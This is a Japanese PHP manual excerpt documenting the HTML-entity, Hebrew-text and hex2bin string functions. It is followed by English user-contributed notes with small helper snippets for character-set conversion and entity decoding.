特殊文字はいくつかの方法でエンコードすることができます。 例えば、" は &quot;, &#34; もしくは &#x22 としてエンコードすることができます。 get_html_translation_table() の返す値は、 htmlspecialchars() や htmlentities() で使っている形式だけです。

パラメータ

table

どちらのテーブルを返すか。HTML_ENTITIES あるいは HTML_SPECIALCHARS。

flags

以下のフラグのビットマスクによる組み合わせで、 どのクォートをテーブルに含めるのか、そしてどのドキュメント形式用のテーブルにするのかを指定します。 デフォルトは ENT_COMPAT | ENT_HTML401 です。

使用可能な flags 定数
定数名 | 説明
ENT_COMPAT | テーブルにダブルクォート用のエンティティを含めますが、シングルクォート用は含めません。
ENT_QUOTES | テーブルにダブルクォート用、シングルクォート用の両方のエンティティを含めます。
ENT_NOQUOTES | テーブルにダブルクォート用、シングルクォート用のどちらのエンティティも含めません。
ENT_HTML401 | HTML 4.01 用のテーブル。
ENT_XML1 | XML 1 用のテーブル。
ENT_XHTML | XHTML 用のテーブル。
ENT_HTML5 | HTML 5 用のテーブル。

encoding

使用するエンコーディング。省略した場合のデフォルト値は UTF-8 となります。

以下の文字セットをサポートします。

サポートする文字セット
文字セット | エイリアス | 説明
ISO-8859-1 | ISO8859-1 | 西欧、Latin-1
ISO-8859-5 | ISO8859-5 | ほとんど使われないキリル文字セット (Latin/Cyrillic)。
ISO-8859-15 | ISO8859-15 | 西欧、Latin-9 。Latin-1(ISO-8859-1) に欠けている ユーロ記号やフランス・フィンランドの文字を追加したもの。
UTF-8 | ASCII 互換のマルチバイト 8 ビット Unicode 。
cp866 | ibm866, 866 | DOS 固有のキリル文字セット。
cp1251 | Windows-1251, win-1251, 1251 | Windows 固有のキリル文字セット。
cp1252 | Windows-1252, 1252 | 西欧のための Windows 固有の文字セット。
KOI8-R | koi8-ru, koi8r | ロシア語。
BIG5 | 950 | 繁体字中国語。主に台湾で使用されます。
GB2312 | 936 | 簡体字中国語。国の標準文字セットです。
BIG5-HKSCS | Big5 に香港の拡張を含めたもの。繁体字中国語。
Shift_JIS | SJIS, SJIS-win, cp932, 932 | 日本語。
EUC-JP | EUCJP, eucJP-win | 日本語。
MacRoman | Mac OS で使われる文字セット。
'' 空文字列を指定すると、 スクリプトのエンコーディング (Zend multibyte)、 default_charset、 そして現在のロケール (nl_langinfo() および setlocale() を参照ください) の順でエンコーディングを検出します。 この方法はおすすめしません。

注意: これら以外の文字セットは理解できません。 かわりにデフォルトのエンコーディングを使用し、警告を発生させます。

返り値

変換テーブルを配列で返します。元の文字がキー、そしてエンティティが値となります。

例

例1 変換テーブルの例

<?php
var_dump(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5));
?>

上の例の出力は、 たとえば以下のようになります。

array(1510) {
  ["
"]=>
  string(9) "&NewLine;"
  ["!"]=>
  string(6) "&excl;"
  ["""]=>
  string(6) "&quot;"
  ["#"]=>
  string(5) "&num;"
  ["$"]=>
  string(8) "&dollar;"
  ["%"]=>
  string(8) "&percnt;"
  ["&"]=>
  string(5) "&amp;"
  ["'"]=>
  string(6) "&apos;"
  // ...
}

参考

  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • html_entity_decode() - HTML エンティティを対応する文字に変換する

User Contributed Notes

michael dot genesis at gmail dot com 12-Dec-2011 03:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 09:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
Kenneth Kin Lum 23-Sep-2008 05:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 08:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 02:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 08:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
Jerome Jaglale 31-Dec-2006 11:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
Patrick nospam at nospam mesopia dot com 29-May-2005 07:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 18-May-2005 04:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
kevin_bro at hostedstuff dot com 03-Jan-2003 06:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 28-Oct-2002 05:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 03-Jun-2002 10:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 01:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.


論理表記のヘブライ語を物理表記に変換する

  • ≪ get_html_translation_table
  • hebrevc ≫
  • PHP Manual
  • String 関数
  • 論理表記のヘブライ語を物理表記に変換する

hebrev

(PHP 4, PHP 5, PHP 7, PHP 8)

hebrev — 論理表記のヘブライ語を物理表記に変換する

説明

hebrev ( string $string , int $max_chars_per_line = 0 ) : string

論理表記のヘブライ語を物理表記に変換します。

この関数は、単語の分断をできるだけ回避しようとします。

パラメータ

string

ヘブライ語の入力文字列。

max_chars_per_line

このオプションのパラメータは、 出力される行毎の最大文字数を返します。

返り値

物理表記の文字列を返します。

参考

  • hebrevc() - 論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する

User Contributed Notes

udioron at geeee mmmaaaaiiillll dotcom 01-Jan-2009 05:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
tinko 14-Dec-2004 03:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 06:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
zak at php dot net 09-Jan-2001 03:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).


論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する

  • ≪ hebrev
  • hex2bin ≫
  • PHP Manual
  • String 関数
  • 論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する

hebrevc

(PHP 4, PHP 5, PHP 7)

hebrevc — 論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

hebrevc ( string $hebrew_text , int $max_chars_per_line = 0 ) : string

この関数は、hebrev() に似ていますが、 改行 (\n) を "<br>\n" に変換するところが異なります。

この関数は、単語の分断をできるだけ回避しようとします。

パラメータ

hebrew_text

ヘブライ語の入力文字列。

max_chars_per_line

このオプションのパラメータは、 出力される行毎の最大文字数を返します。

返り値

物理表記の文字列を返します。

参考

  • hebrev() - 論理表記のヘブライ語を物理表記に変換する

User Contributed Notes

Oded 03-Jul-2009 03:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 10-Dec-2001 04:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael


16進エンコードされたバイナリ文字列をデコードする

  • ≪ hebrevc
  • html_entity_decode ≫
  • PHP Manual
  • String 関数
  • 16進エンコードされたバイナリ文字列をデコードする

hex2bin

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

hex2bin — 16進エンコードされたバイナリ文字列をデコードする

説明

hex2bin ( string $string ) : string|false

16進エンコードされたバイナリ文字列をデコードします。

警告

これは、16進数を2進数に変換する関数ではありません。 2進数への変換には base_convert() 関数を使いましょう。

パラメータ

string

16進表現のデータ。

返り値

指定したデータを2進表現に変換したものを返します。 失敗した場合に false を返します。

エラー / 例外

16進表現の入力文字列長が奇数の場合や入力文字列が16進文字列として不正な場合は E_WARNING レベルのエラーが発生します。

例

例1 hex2bin() の例

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>

上の例の出力は、 たとえば以下のようになります。

string(16) "example hex data"

参考

  • bin2hex() - バイナリのデータを16進表現に変換する
  • unpack() - バイナリ文字列からデータを切り出す

User Contributed Notes

omer dot lakraa at hotmail dot fr 03-Dec-2019 02:30
If you want to convert hex to GUID format (In my case, it was to convert GUID from MSSQL database) :

<?php
function hex2Guid($hex)
{
    $hex = [
        substr($hex, 0, 8),
        substr($hex, 8, 4),
        substr($hex, 12, 4),
        substr($hex, 16, 4),
        substr($hex, 20),
    ];

    $order[0] = [6, 7, 4, 5, 2, 3, 0, 1];
    $order[1] = [2, 3, 0, 1];
    $order[2] = [2, 3, 0, 1];
    $order[3] = [0, 1, 2, 3];
    $order[4] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];

    $result = "";

    for($num = 0; $num < count($order); $num++)
    {
        for($i = 0; $i < count($order[$num]); $i++)
        {
            $result .= $hex[$num][$order[$num][$i]];
        }

        if($num != count($order) -1)
        {
            $result .= "-";
        }
    }

    return strtoupper($result);
}

Example :
echo hex2Guid("64d3938b7008cd4bad5ffe56755d163f");

// return 8B93D364-0870-4BCD-AD5F-FE56755D163F
JLovrek 28-Nov-2017 02:14
replace

function Hex2Bin($data) {
    $BinData = "";
    for ($i=0;$i<strlen($data);$i+=2)
        $BinData .= chr( HexDec( substr($data,$i,2) ) );
    return $BinData;

With

function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
iradu at unix-world dot org 15-Jan-2016 01:38
$test = bin2hex('sample ...');
echo _hex2bin($test);

// another hex2bin replacement
function _hex2bin($result) {
    $out = '';
    for($c=0;$c<strlen($result);$c+=2) {
        $out .= chr(hexdec($result[$c].$result[$c+1]));
    } //end for
    return (string) $out;
}
EM 11-Jun-2014 10:14
Ran into an interesting case with hex2bin and php5.5.12 while upgrading from 5.3.3 -> 5.5.12

The previous code had redeclared the hex2bin function with the $binary_string = pack("H*" , $hex_string) trick.

php5.5.12 would have none of that. The solution, albeit a hacky one, was doing a find an replace of hex2bin to 'hex3bin' for the whole site directory.
carschrotter at gmail dot com 01-Nov-2013 02:19
Case of an incomplete hex string following function may help:
<?php
function make2validhex($data){
    $data = (string) $data;
    $len = strlen($data);
    if($len % 2) {
        return substr($data, 0, $len -1);
    }
    return $data;
}
?>
test:
<?php
$string="not complete";
echo $string;
echo PHP_EOL;
$hex = bin2hex($string); //"6e6f7420636f6d706c657465"
echo $hex;
echo PHP_EOL;
$deff = substr ($hex, 0, strlen($hex) -1);//"6e6f7420636f6d706c65746"
echo $deff;
echo PHP_EOL;
echo hex2bin(make2validhex($deff)); //"not complet"
echo PHP_EOL;
?>
walf 16-Oct-2013 04:41
A drop-in hex2bin emulator which behaves just like the the one in v5.5.1.

<?php
if (!function_exists('hex2bin')) {
    function hex2bin($data) {
        static $old;
        if ($old === null) {
            $old = version_compare(PHP_VERSION, '5.2', '<');
        }
        $isobj = false;
        if (is_scalar($data) || (($isobj = is_object($data)) && method_exists($data, '__toString'))) {
            if ($isobj && $old) {
                ob_start();
                echo $data;
                $data = ob_get_clean();
            }
            else {
                $data = (string) $data;
            }
        }
        else {
            trigger_error(__FUNCTION__.'() expects parameter 1 to be string, ' . gettype($data) . ' given', E_USER_WARNING);
            return;//null in this case
        }
        $len = strlen($data);
        if ($len % 2) {
            trigger_error(__FUNCTION__.'(): Hexadecimal input string must have an even length', E_USER_WARNING);
            return false;
        }
        if (strspn($data, '0123456789abcdefABCDEF') != $len) {
            trigger_error(__FUNCTION__.'(): Input string must be hexadecimal string', E_USER_WARNING);
            return false;
        }
        return pack('H*', $data);
    }
}
?>
jannik [dot] zappe [at] udo [dot] edu 23-Aug-2013 12:00
I modified the function by Johnson a bit so it can be used as a drop-in-replacement. You don't need to worry about upgrading php because when it is upgraded, it will use the build in function.

<?php
if ( !function_exists( 'hex2bin' ) ) {
    function hex2bin( $str ) {
        $sbin = "";
        $len = strlen( $str );
        for ( $i = 0; $i < $len; $i += 2 ) {
            $sbin .= pack( "H*", substr( $str, $i, 2 ) );
        }

        return $sbin;
    }
}
?>
Johnson 01-Jan-2013 12:23
For those who have php version prior to 5.4, i have a solution to convert hex to binary. It works for me in an encryption and decryption application.

<?php
        function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
    }
?>
jarismar dot php at gmail dot com 17-Dec-2012 01:13
A way to convert hex strings in the form "0x123ABC" to integer is to use the function base_convert("0x123ABC", 16, 10)
Anonymous 23-Feb-2012 02:28
The function pack("H*" , $hex_string); will not work as expected if $hex_string contains an odd number of hexadecimal digits.

For example:

<?php echo ord(pack("H*", 'F')); ?>

will return 240 not 15. Use pack("H*", '0F'); instead.
Anonymous 31-Aug-2011 01:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);


HTML エンティティを対応する文字に変換する

  • ≪ hex2bin
  • htmlentities ≫
  • PHP Manual
  • String 関数
  • HTML エンティティを対応する文字に変換する

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

html_entity_decode — HTML エンティティを対応する文字に変換する

説明

html_entity_decode ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null ) : string

html_entity_decode() は htmlentities() の反対で、string にある HTML エンティティを対応する文字に変換します。

厳密に言うと、この関数は次の二つの条件を満たすすべての (数値エンティティを含む) エンティティをデコードします。それ以外のエンティティは、何も変換しません。 1) 選択したドキュメントタイプで必然的に有効になるもの。つまり XML の場合には、DTD で定義されている名前付きエンティティはデコードしません。 2) 選択したエンコーディングに関連づけられている符号化文字集合に含まれる文字で、 選択したドキュメントタイプで許可されているもの。

パラメータ

string

入力文字列。

flags

以下のフラグのビットマスクによる組み合わせで、クォートの扱いやドキュメントの形式を指定します。 デフォルトは ENT_COMPAT | ENT_HTML401 です。

使用可能な flags 定数
定数名 | 説明
ENT_COMPAT | ダブルクォートを変換し、シングルクォートはそのままにします。
ENT_QUOTES | ダブルクォート、シングルクォートの両方を変換します。
ENT_NOQUOTES | ダブルクォート、シングルクォートの両方とも変換しません。
ENT_HTML401 | コードを HTML 4.01 として処理します。
ENT_XML1 | コードを XML 1 として処理します。
ENT_XHTML | コードを XHTML として処理します。
ENT_HTML5 | コードを HTML 5 として処理します。

encoding

オプションの引数。文字を変換するときに使うエンコーディングを定義します。

省略した場合の encoding のデフォルト値は、 default_charset の値を使います。

技術的にはこの引数を省略可能ですが、 default_charset の指定が入力とは違う文字セットになっている可能性もあるので、 適切な値を指定しておくことを強く推奨します。

以下の文字セットをサポートします。

サポートする文字セット
文字セット | エイリアス | 説明
ISO-8859-1 | ISO8859-1 | 西欧、Latin-1
ISO-8859-5 | ISO8859-5 | ほとんど使われないキリル文字セット (Latin/Cyrillic)。
ISO-8859-15 | ISO8859-15 | 西欧、Latin-9 。Latin-1(ISO-8859-1) に欠けている ユーロ記号やフランス・フィンランドの文字を追加したもの。
UTF-8 | ASCII 互換のマルチバイト 8 ビット Unicode 。
cp866 | ibm866, 866 | DOS 固有のキリル文字セット。
cp1251 | Windows-1251, win-1251, 1251 | Windows 固有のキリル文字セット。
cp1252 | Windows-1252, 1252 | 西欧のための Windows 固有の文字セット。
KOI8-R | koi8-ru, koi8r | ロシア語。
BIG5 | 950 | 繁体字中国語。主に台湾で使用されます。
GB2312 | 936 | 簡体字中国語。国の標準文字セットです。
BIG5-HKSCS | Big5 に香港の拡張を含めたもの。繁体字中国語。
Shift_JIS | SJIS, SJIS-win, cp932, 932 | 日本語。
EUC-JP | EUCJP, eucJP-win | 日本語。
MacRoman | Mac OS で使われる文字セット。
'' 空文字列を指定すると、 スクリプトのエンコーディング (Zend multibyte)、 default_charset、 そして現在のロケール (nl_langinfo() および setlocale() を参照ください) の順でエンコーディングを検出します。 この方法はおすすめしません。

注意: これら以外の文字セットは理解できません。 かわりにデフォルトのエンコーディングを使用し、警告を発生させます。

返り値

デコードされた文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 HTML エンティティのデコード

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now
?>

注意

注意:

trim(html_entity_decode('&nbsp;')); の結果が空の文字列に ならないことを疑問に思う人もいるでしょう。なぜそうなるのかというと、 デフォルトのエンコーディング ISO-8859-1 では '&nbsp;' エンティティが ASCII コード 32 (これは trim() で取り除かれる) ではなく ASCII コード 160 (0xa0) に変換されるからです。

参考

  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • get_html_translation_table() - htmlspecialchars および htmlentities で使用される変換テーブルを返す
  • urldecode() - URL エンコードされた文字列をデコードする

User Contributed Notes

Anonymous 01-Mar-2021 03:30
Why doesn't the html_entity_decode() function convert entities without the last semicolon (like &#x41 or &#65) to characters?

---
<?php
echo 'like &#x41 or &#65';
---

Browser displays fine:
----
like A or A
Daniel A. 03-Aug-2018 03:34
I wanted to use this function today and I found the documentation, especially about the flags, not particularly helpful.

Running the code below, for example, failed because the flag I used was the wrong one...

$string = 'Donna&#039;s Bakery';
$title = html_entity_decode($string, ENT_HTML401, 'UTF-8');
echo $title;

The correct flag to use in this case is ENT_QUOTES.

My understanding of the flag to use is the one that would correspond to the expected, converted outcome. So, ENT_QUOTES for a character that would be a single or double quote when converted... and so on.

Please help make the documentation a bit clearer.
slickriptide at gmail dot com 07-Oct-2016 03:54
When using this function, it's a good idea to pay attention when it says that leaving the charset parameter empty is "not recommended".

I had an issue where I was storing text files, with entities converted, into a database. When I retrieved them later and ran

$text_file = html_entity_decode($text_data);

the entities were NOT decoded.

Once I was aware of the problem, I changed the decode call to fully specify all of the parameters:

$text_file = html_entity_decode($text_data, ENT_COMPAT | ENT_HTML5,'utf-8');

This converted the entities as expected.
txnull 25-Aug-2015 08:06
Use the following to decode all entities:
<?php html_entity_decode($string, ENT_QUOTES | ENT_XML1, 'UTF-8') ?>

I've checked these special entities:
- double quotes (&#34;)
- single quotes (&#39; and &apos;)
- non printable chars (e.g. &#13;)
With other $flags some or all won't be decoded.

It seems that ENT_XML1 and ENT_XHTML are identical when decoding.
Benjamin 05-Apr-2013 11:07
The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv.

function decodeHtmlEnt($str) {
    $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8');
    $p2 = -1;
    for(;;) {
        $p = strpos($ret, '&#', $p2+1);
        if ($p === FALSE)
            break;
        $p2 = strpos($ret, ';', $p);
        if ($p2 === FALSE)
            break;

        if (substr($ret, $p+2, 1) == 'x')
            $char = hexdec(substr($ret, $p+3, $p2-$p-3));
        else
            $char = intval(substr($ret, $p+2, $p2-$p-2));

        //echo "$char\n";
        $newchar = iconv(
            'UCS-4', 'UTF-8',
            chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF)
        );
        //echo "$newchar<$p<$p2<<\n";
        $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p);
        $p2 = $p + strlen($newchar);
    }
    return $ret;
}
Victor 14-Dec-2011 06:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 04:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
neurotic dot neu at gmail dot com 10-Aug-2010 12:25
This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 05:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 02:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 05:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 04-Mar-2009 03:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
kae at verens dot com 09-May-2008 06:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 04:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 03-Nov-2006 08:27
The decipherment does the character encoded by the escape function of JavaScript.
